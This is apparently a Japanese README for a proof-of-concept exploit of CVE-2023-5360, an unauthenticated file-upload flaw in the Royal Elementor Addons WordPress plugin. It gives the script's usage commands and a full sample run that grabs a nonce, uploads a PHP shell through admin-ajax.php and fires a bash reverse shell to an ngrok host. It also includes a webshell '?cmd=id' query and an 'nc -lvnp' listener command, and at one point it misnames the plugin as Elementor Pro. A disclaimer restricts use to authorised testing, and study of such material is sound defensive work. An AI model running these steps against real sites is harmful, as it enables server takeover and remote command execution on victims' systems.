
Royal Elementor Addons - 認証なしのリモートコード実行
Royal Elementor Addons and Templates WordPressプラグインのバージョン1.3.79以前では、アップロードされたファイルの検証が適切に行われないため、認証されていないユーザーがPHPなどの任意のファイルをアップロードし、リモートコード実行(RCE)を達成できる可能性があります。
_______ ________
/ ____/ | / / ____/
/ / | | / / __/______
/ /___ | |/ /__/_____/
\____/ |___/_____/_____
|__ \ / __ \__ \|__ /
__/ // / / /_/ / /_ <
/ __// /_/ / __/___/ /
/____/\____/____/____/____
/ ____/__ // ___// __ \
/___ \ /_ </ __ \/ / / /
____/ /___/ / /_/ / /_/ /
/_____//____/\____/\____/
by X3RX3S
これは、WordPress用Elementor Proにおけるファイルアップロード脆弱性CVE-2023-5360の概念実証エクスプロイトです。認証されていない攻撃者が任意のPHPファイルをアップロードし、リモートコード実行を可能にします。
python3 CVE-2023-5360.py <https://victim.site/>
例:
python3 CVE-2023-5360.py https://victim.site/
_______ ________
/ ____/ | / / ____/
/ / | | / / __/______
/ /___ | |/ /__/_____/
\____/ |___/_____/_____
|__ \ / __ \__ \|__ /
__/ // / / /_/ / /_ <
/ __// /_/ / __/___/ /
/____/\____/____/____/____
/ ____/__ // ___// __ \
/___ \ /_ </ __ \/ / / /
____/ /___/ / /_/ / /_/ /
/_____//____/\____/\____/
github.com/X3RX3SSec
by X3RX3S aka @mindfuckerrrr
[+] Target: https://victim.site
[+] Elementor page: https://victim.site)
[*] Step 1: Grabbing Elementor nonce...
[+] HTTP 200 received from target
[+] Nonce extracted: fdcb5015cd
[*] Step 2: Configure payload
[1] Simple command webshell
[2] Reverse shell (bash)
[?] Choose payload [1/2]: 2
[?] LHOST (your IP): 7.tcp.eu.ngrok.io
[?] LPORT (your PORT): 31337
[+] Reverse shell payload generated for 7.tcp.eu.ngrok.io:31337
[?] Start built-in listener? [Y/n]: Y
[+] Starting local listener on 7.tcp.eu.ngrok.io:31337...
[*] Attempt 1 of 3: Uploading payload via AJAX exploit...
[>] POST https://victim.site/wp-admin/admin-ajax.php
listening on [any] 31337 ...
[+] HTTP 200 from upload handler
[+] Shell uploaded: https://victim.site/wp-content/uploads/wpr-addons/forms/shell-6253.php
[*] Triggering reverse shell. Have your listener ready!
[+] Trigger sent (timeout is normal for reverse shell).
[+] Arrr! Cannons fired. Check your listener! 🏴☠️💣
ペイロードオプション:
?cmd=id 例: https://victim.site/wp-content/uploads/wpr-addons/forms/shell.php?cmd=id)requests モジュール依存関係のインストール:
pip install requests
nc -lvnp 1337
このエクスプロイトは教育および許可されたセキュリティテスト専用です。使用方法については自己責任です。所有している、またはテストの許可を得たシステムでのみテストしてください。
Author: X3RX3S CVE-2023-5360